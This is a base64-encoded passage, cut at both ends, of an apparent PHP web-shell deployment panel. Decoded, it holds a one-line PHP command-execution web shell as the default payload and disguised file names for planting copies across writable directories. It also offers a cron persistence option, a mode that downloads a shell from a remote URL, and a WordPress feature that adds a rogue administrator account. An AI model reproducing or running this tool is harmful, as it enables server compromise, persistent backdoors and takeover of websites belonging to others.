gICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPD9waHAgaWYgKCRhdXRvX2RldGVjdGVkX2Rpcik6ID8+DQogICAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LWluZm8iPg0KICAgICAgICAgICAgQXV0by1kZXRlY3RlZCBkaXJlY3Rvcnk6IDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYXV0b19kZXRlY3RlZF9kaXIpOyA/Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPD9waHAgZW5kaWY7ID8+DQoNCiAgICAgICAgPD9waHAgaWYgKCRjdXJyZW50X21vZGUgPT0gJ25vcm1hbCcpOiA/Pg0KICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZGVwbG95X25vcm1hbCI+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tc2VjdGlvbiI+DQogICAgICAgICAgICAgICAgPGgzPkRJUkVDVE9SWSBDT05GSUdVUkFUSU9OPC9oMz4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgPGxhYmVsPkJhc2UgRGlyZWN0b3J5IFBhdGg8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYmFzZV9kaXJlY3RvcnkiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGF1dG9fZGV0ZWN0ZWRfZGlyKTsgPz4iIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tc2VjdGlvbiI+DQogICAgICAgICAgICAgICAgPGgzPlNIRUxMIENPTlRFTlQ8L2gzPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICA8bGFiZWw+UEhQIFNoZWxsIENvZGU8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iZmlsZV9jb250ZW50IiByZXF1aXJlZD48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJzw/cGhwIGlmKGlzc2V0KCRfR0VUWzBdKSl7QHN5c3RlbSgkX0dFVFswXSk7fT8+Jyk7ID8+PC90ZXh0YXJlYT4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLXNlY3Rpb24iPg0KICAgICAgICAgICAgICAgIDxoMz5GSUxFIE5BTUVTPC9oMz4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgPGxhYmVsPkZpbGUgTmFtZXMgKG9uZSBwZXIgbGluZSk8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iZmlsZV9uYW1lcyI+Y2FjaGUucGhwDQpzZXNzaW9uLnBocA0KZGVidWcucGhwDQpsb2cucGhwDQpjb25maWcucGhwDQppbmRleC5waHANCnRlc3QucGhwPC90ZXh0YXJlYT4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLXNlY3Rpb24iPg0KICAgICAgICAgICAgICAgIDxoMz5PUFRJT05TPC9oMz4NCiAgICAgICAgICAgICAgICA8bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJhdXRvX2NobW9kIiBjaGVja2VkPiBBdXRvIENITU9EIDY0NDwvbGFiZWw+DQogICAgICAgICAgICAgICAgPGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYXV0b19jcm9uIj4gUGVyc2lzdGVuY2U8L2xhYmVsPg0KICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIj5TVEFSVCBERVBMT1lNRU5UPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCiAgICAgICAgPD9waHAgZW5kaWY7ID8+DQoNCiAgICAgICAgPD9waHAgaWYgKCRjdXJyZW50X21vZGUgPT0gJ3JlbW90ZScpOiA/Pg0KICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZGVwbG95X3JlbW90ZSI+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tc2VjdGlvbiI+DQogICAgICAgICAgICAgICAgPGgzPlJFTU9URSBTT1VSQ0U8L2gzPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICA8bGFiZWw+UmVtb3RlIEZpbGUgVVJMPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InVybCIgbmFtZT0icmVtb3RlX3VybCIgcGxhY2Vob2xkZXI9Imh0dHA6Ly9leGFtcGxlLmNvbS9zaGVsbC50eHQiIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICA8bGFiZWw+RG93bmxvYWQgTWV0aG9kPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSJkb3dubG9hZF9tZXRob2QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYXV0byI+QXV0byBEZXRlY3Q8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImN1cmwiPmNVUkw8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InBocCI+UEhQPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tc2VjdGlvbiI+DQogICAgICAgICAgICAgICAgPGgzPlRBUkdFVCBESVJFQ1RPUlk8L2gzPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICA8bGFiZWw+QmFzZSBEaXJlY3Rvcnk8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYmFzZV9kaXJlY3RvcnkiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGF1dG9fZGV0ZWN0ZWRfZGlyKTsgPz4iIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tc2VjdGlvbiI+DQogICAgICAgICAgICAgICAgPGgzPkZJTEUgTkFNRVM8L2gzPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICA8bGFiZWw+RmlsZSBOYW1lcyAob25lIHBlciBsaW5lKTwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJmaWxlX25hbWVzIj5jYWNoZS5waHANCnNlc3Npb24ucGhwDQpkZWJ1Zy5waHANCmxvZy5waHANCmNvbmZpZy5waHA8L3RleHRhcmVhPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tc2VjdGlvbiI+DQogICAgICAgICAgICAgICAgPGgzPk9QVElPTlM8L2gzPg0KICAgICAgICAgICAgICAgIDxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImF1dG9fY2htb2QiIGNoZWNrZWQ+IEF1dG8gQ0hNT0QgNjQ0PC9sYWJlbD4NCiAgICAgICAgICAgICAgICA8bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJhdXRvX2Nyb24iPiBQZXJzaXN0ZW5jZTwvbGFiZWw+DQogICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4iPkRPV05MT0FEICYgREVQTE9ZPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCiAgICAgICAgPD9waHAgZW5kaWY7ID8+DQoNCiAgICAgICAgPD9waHAgaWYgKCRjdXJyZW50X21vZGUgPT0gJ3dvcmRwcmVzcycpOiA/Pg0KICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iYWRkX3dwX2FkbWluIj4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1zZWN0aW9uIj4NCiAgICAgICAgICAgICAgICA8aDM+V09SRFBSRVNTIEFETUlOIENSRUFUT1I8L2gzPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXdhcm5pbmciPg0KICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPk5vdGU6PC9zdHJvbmc+IFRoaXMgZmVhdHVyZSB3aWxsIGNyZWF0ZSBhIG5ldyBXb3JkUHJlc3MgYWRtaW5pc3RyYXRvciB1c2VyLg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICA8bGFiZWw+QmFzZSBEaXJlY3RvcnkgKFdvcmRQcmVzcyBpbnN0YWxsYXRpb24pPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJhc2VfZGlyZWN0b3J5IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRhdXRvX2RldGVjdGVkX2Rpcik7ID8+IiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICAgICAgPHNtYWxsPk1ha2Ugc3VyZSB3cC1jb25maWcucGhwIGV4aXN0cyBpbiB0aGlzIGRpcmVjdG9yeSBvciBwYXJlbnQgZGlyZWN0b3JpZXM8L3NtYWxsPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICA8bGFiZWw+VXNlcm5hbWU8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3BfdXNlcm5hbWUiIHZhbHVlPSJhZG1pbjw/cGhwIGVjaG8gcmFuZCgxMDAsIDk5OSk7ID8+IiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgPGxhYmVsPlBhc3N3b3JkPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9IndwX3Bhc3N3b3JkIiB2YWx1ZT0iPD9waHAgZWNobyBiaW4yaGV4KHJhbmRvbV9ieXRlcyg4KSk7ID8+IiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgPGxhYmVsPkVtYWlsPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImVtYWlsIiBuYW1lPSJ3cF9lbWFpbCIgdmFsdWU9ImFkbWluPD9waHAgZWNobyByYW5kKDEwMCwgOTk5KTsgPz5AZXhhbXBsZS5jb20iIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIj5BREQgV09SRFBSRVNTIEFETUlOPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCiAgICAgICAgPD9waHAgZW5kaWY7ID8+DQoNCiAgICAgICAgPD9waHAgaWYgKCRjdXJyZW50X21vZGUgPT0gJ3NjYW5uZXInKTogPz4NCiAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InNjYW5fc2hlbGxzIj4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1zZWN0aW9uIj4NCiAgICAgICAgICAgICAgICA8aDM+U0hFTEwgU0NBTk5FUjwvaDM+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtd2FybmluZyI+DQogICAgICAgICAgICAgICAgICAgIDxzdHJvbmc+Tm90ZTo8L3N0cm9uZz4gVGhpcyBmZWF0dXJlIHNjYW5zIGZvciBzdXNwaWNpb3VzIGZpbGVzIHdpdGhvdXQgbW9kaWZ5aW5nIHRoZW0uDQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgIDxsYWJlbD5EaXJlY3RvcnkgdG8gU2NhbjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzY2FuX2RpcmVjdG9yeSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYXV0b19kZXRlY3RlZF9kaXIpOyA/PiIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgIDxsYWJlbD5NYXggRmlsZXMgdG8gU2NhbjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJudW1iZXIiIG5hbWU9Im1heF9maWxlcyIgdmFsdWU9IjEwMCIgbWluPSIxMCIgbWF4PSIxMDAwIj4NCiAgICAgICAgICAgICAgICAgICAgPHNtYWxsPkhpZ2hlciB2YWx1ZXMgbWF5IGNhdXNlIHRpbWVvdXQ8L3NtYWxsPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi13YXJuaW5nIj5TQ0FOIEZPUiBTSEVMTFM8L2J1dHRvbj4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgICA8P3BocCBlbmRpZjsgPz4NCg0KICAgICAgICA8P3BocCBpZiAoJHJlc3VsdCk6ID8+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLXNlY3Rpb24iPg0KICAgICAgICAgICAgICAgIDxoMz5PUEVSQVRJT04gUkVTVUxUUzwvaDM+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPD9waHAgaWYgKCRjdXJyZW50X21vZGUgPT0gJ25vcm1hbCcgfHwgJGN1cnJlbnRfbW9kZSA9PSAncmVtb3RlJyk6ID8+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkc2F2ZWRfZmlsZSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBSZXN1bHRzIHNhdmVkIHRvOiA8P3BocCBlY2hvICRzYXZlZF9maWxlOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKGlzc2V0KCRyZXN1bHRbJ2Vycm9yJ10pKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LWVycm9yIj48P3BocCBlY2hvICRyZXN1bHRbJ2Vycm9yJ107ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoaXNzZXQoJHJlc3VsdFsnZG93bmxvYWRfbWV0aG9kJ10pKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1pbmZvIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRG93bmxvYWQgbWV0aG9kOiA8P3BocCBlY2hvIHN0cnRvdXBwZXIoJHJlc3VsdFsnZG93bmxvYWRfbWV0aG9kJ10pOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXRzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWNhcmQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJmb250LXNpemU6IDI0cHg7Ij48P3BocCBlY2hvICRyZXN1bHRbJ2RlcGxveWVkX2NvdW50J107ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+RmlsZXMgRGVwbG95ZWQ8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWNhcmQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJmb250LXNpemU6IDI0cHg7Ij48P3BocCBlY2hvICRyZXN1bHRbJ3RvdGFsX3NjYW5uZWQnXTsgPz48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj5EaXJlY3RvcmllcyBTY2FubmVkPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1jYXJkIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZm9udC1zaXplOiAyNHB4OyI+PD9waHAgZWNobyAkcmVzdWx0Wyd0b3RhbF93cml0YWJsZSddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PldyaXRhYmxlIERpcmVjdG9yaWVzPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRyZXN1bHRbJ2RlcGxveWVkX2NvdW50J10gPiAwKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDQ+RGVwbG95ZWQgRmlsZXM6PC9oND4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkcmVzdWx0WydmaWxlcyddIGFzICRmaWxlKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVzdWx0LWl0ZW0iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlWyd1cmwnXSk7ID8+IiB0YXJnZXQ9Il9ibGFuayI+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlWyd1cmwnXSk7ID8+PC9hPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzbWFsbD5QYXRoOiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ3BhdGgnXSk7ID8+PC9zbWFsbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZXJyb3IiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBObyBmaWxlcyB3ZXJlIGRlcGxveWVkLiBDaGVjayBkaXJlY3RvcnkgcGVybWlzc2lvbnMuDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkY3VycmVudF9tb2RlID09ICd3b3JkcHJlc3MnKTogPz4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKGlzc2V0KCRyZXN1bHRbJ2Vycm9yJ10pKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LWVycm9yIj48P3BocCBlY2hvICRyZXN1bHRbJ2Vycm9yJ107ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDQ+V29yZFByZXNzIEFkbWluIEFkZGVkIFN1Y2Nlc3NmdWxseSE8L2g0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzdHJvbmc+VXNlcm5hbWU6PC9zdHJvbmc+IDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcmVzdWx0Wyd1c2VybmFtZSddKTsgPz48L3A+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHN0cm9uZz5QYXNzd29yZDo8L3N0cm9uZz4gPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRyZXN1bHRbJ3Bhc3N3b3JkJ10pOyA/PjwvcD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48c3Ryb25nPkVtYWlsOjwvc3Ryb25nPiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJlc3VsdFsnZW1haWwnXSk7ID8+PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzdHJvbmc+VXNlciBJRDo8L3N0cm9uZz4gPD9waHAgZWNobyAkcmVzdWx0Wyd1c2VyX2lkJ107ID8+PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzdHJvbmc+TG9naW4gVVJMOjwvc3Ryb25nPiA8YSBocmVmPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJlc3VsdFsnbG9naW5fdXJsJ10pOyA/PiIgdGFyZ2V0PSJfYmxhbmsiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcmVzdWx0Wydsb2dpbl91cmwnXSk7ID8+PC9hPjwvcD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8P3BocCBlbHNlaWYgKCRjdXJyZW50X21vZGUgPT0gJ3NjYW5uZXInKTogPz4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKGlzc2V0KCRyZXN1bHRbJ2Vycm9yJ10pKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LWVycm9yIj48P3BocCBlY2hvICRyZXN1bHRbJ2Vycm9yJ107ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0cyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1jYXJkIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZm9udC1zaXplOiAyNHB4OyI+PD9waHAgZWNobyAkcmVzdWx0WydzY2FubmVkX2NvdW50J107ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+RmlsZXMgU2Nhbm5lZDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtY2FyZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMjRweDsiPjw/cGhwIGVjaG8gJHJlc3VsdFsndG90YWxfc3VzcGljaW91cyddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PlN1c3BpY2lvdXMgRmlsZXM8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJHJlc3VsdFsndG90YWxfc3VzcGljaW91cyddID4gMCk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg0PlN1c3BpY2lvdXMgRmlsZXMgRm91bmQ6PC9oND4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkcmVzdWx0WydzdXNwaWNpb3VzX2ZpbGVzJ10gYXMgJGZpbGUpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWl0ZW0gPD9waHAgZWNobyAkZmlsZVsnc3VzcGljaW91c19zY29yZSddID4gNSA/ICcnIDogJ3dhcm5pbmcnOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZW5hbWUnXSk7ID8+PC9zdHJvbmc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c21hbGw+UGF0aDogPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlWydwYXRoJ10pOyA/Pjwvc21hbGw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c21hbGw+U2l6ZTogPD9waHAgZWNobyAkZmlsZVsnc2l6ZSddOyA/PiBieXRlcyB8IE1vZGlmaWVkOiA8P3BocCBlY2hvICRmaWxlWydtb2RpZmllZCddOyA/Pjwvc21hbGw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c21hbGw+U2NvcmU6IDw/cGhwIGVjaG8gJGZpbGVb